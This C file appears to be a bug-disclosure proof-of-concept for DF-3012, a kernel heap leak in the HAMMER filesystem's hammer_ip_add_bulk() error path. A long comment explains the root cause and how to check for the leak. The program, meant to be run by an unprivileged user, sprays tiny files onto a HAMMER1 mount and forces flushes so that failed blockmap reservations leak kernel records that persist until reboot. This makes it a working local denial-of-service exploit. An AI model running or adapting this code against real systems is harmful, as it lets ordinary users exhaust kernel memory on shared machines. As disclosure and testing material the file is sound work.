/*
 * DF-3012 — hammer(1) in-memory record leak on blockmap reservation
 * failure (hammer_ip_add_bulk error path).
 *
 *	Bug: sys/vfs/hammer/hammer_object.c:974-977
 *		record = hammer_alloc_mem_record(ip, 0);		// ref=1
 *		record->resv = hammer_blockmap_reserve(...);
 *		if (record->resv == NULL) {
 *			hdkprintf("reservation failed\n");
 *			hammer_rel_mem_record(record);	// ref->0, NOT freed
 *			return (NULL);
 *		}
 *	hammer_rel_mem_record() only destroys a record carrying
 *	HAMMER_RECF_DELETED_FE/BE or COMMITTED (hammer_object.c:391-393).
 *	A never-inserted, un-flagged record released here drops to zero refs
 *	and is never kfree()d  =>  permanent kernel heap leak of
 *	sizeof(struct hammer_record) (~224B) in the "HAMMER-others" malloc
 *	zone, once per FAILED direct-write reservation.
 *
 *	Same class: hammer_ip_add_direntry() ENOSPC path at :711-716 leaks
 *	record + HAMMER_ENTRY_SIZE(bytes) of data (needs 2^32 hash-collision
 *	iterations — impractical, not triggered here).
 *
 *	Why a buffer flush can still hit a failing blockmap even though
 *	hammer_vop_write() has the hammer_checkspace() gate: the gate's
 *	estimate only learns about a file's data when the FLUSHER creates
 *	the record (hmp->rsv_databytes += leaf.data_len in hammer_mem_add),
 *	while the underlying 16K reservation is carved at strategy time.
 *	A file of N<=16384 bytes burns a full 16K big-block slice
 *	(bytes = HAMMER_DATA_DOALIGN(size), hammer_vnops.c:3249-3251) but is
 *	accounted to checkspace only after it lands.  Spraying tiny files as
 *	fast as the CPU allows therefore overshoots the REAL blockmap by the
 *	dirty-buffer backlog; every buffer that flushes after the zone wraps
 *	fails its reservation inside hammer_ip_add_bulk() and leaks one
 *	record.  The leaked records have zero refs, are on no tree, and are
 *	referenced by nothing — they persist until reboot.
 *
 *	Evidence: "HAMMER-others" zone count in `vmstat -m` jumps by the
 *	number of failed buffers and NEVER comes back down (verified after
 *	sync + rm -rf + sync); dmesg shows "hammer_ip_add_bulk: reservation
 *	failed" per leaked record.
 *
 * Usage: op3012 <mountpoint> <nfiles>
 * Run as an unprivileged user on a writable HAMMER1 mount.
 */
#include <sys/types.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *mp;
	char path[512];
	char buf[16];
	int i, fd, n, nfiles;
	int created = 0, wrote = 0, wfail = 0;

	if (argc < 3) {
		fprintf(stderr, "usage: op3012 <mountpoint> <nfiles>\n");
		exit(2);
	}
	mp = argv[1];
	nfiles = atoi(argv[2]);

	/* unique-ish 1..15 byte payloads (files stay < 16K => one 16K
	 * record each, DOALIGN'd at strategy time) */
	for (i = 0; i < nfiles; i++) {
		int len = 1 + (i % 15);

		snprintf(path, sizeof(path), "%s/t%d", mp, i);
		fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0666);
		if (fd < 0) {
			if (errno == ENOSPC || errno == EDQUOT)
				break;
			fprintf(stderr, "open(%s): %s\n", path,
				strerror(errno));
			break;
		}
		created++;
		memset(buf, (char)(0x41 + (i % 26)), sizeof(buf));
		n = write(fd, buf, len);
		if (n < 0) {
			wfail++;
			if (errno != ENOSPC)
				fprintf(stderr, "write(%s): %s\n", path,
					strerror(errno));
		} else {
			wrote += n;
		}
		close(fd);
		if ((i + 1) % 2000 == 0)
			fprintf(stderr, "  %d files created\n", i + 1);
	}
	printf("STAGE-A tiny-file spray: created=%d writefail=%d "
	       "bytes=%d (stop errno=%d %s)\n",
	       created, wfail, wrote, errno, strerror(errno));

	/*
	 * Force the flush: every dirty buffer whose reservation fails now
	 * leaks one struct hammer_record.  Buffers flushed successfully
	 * just consume space.
	 */
	sync();
	sleep(3);
	sync();
	sleep(1);

	printf("DONE (check HAMMER-others zone: elevated count == leaked "
	       "records; it must not shrink after cleanup)\n");
	return (0);
}
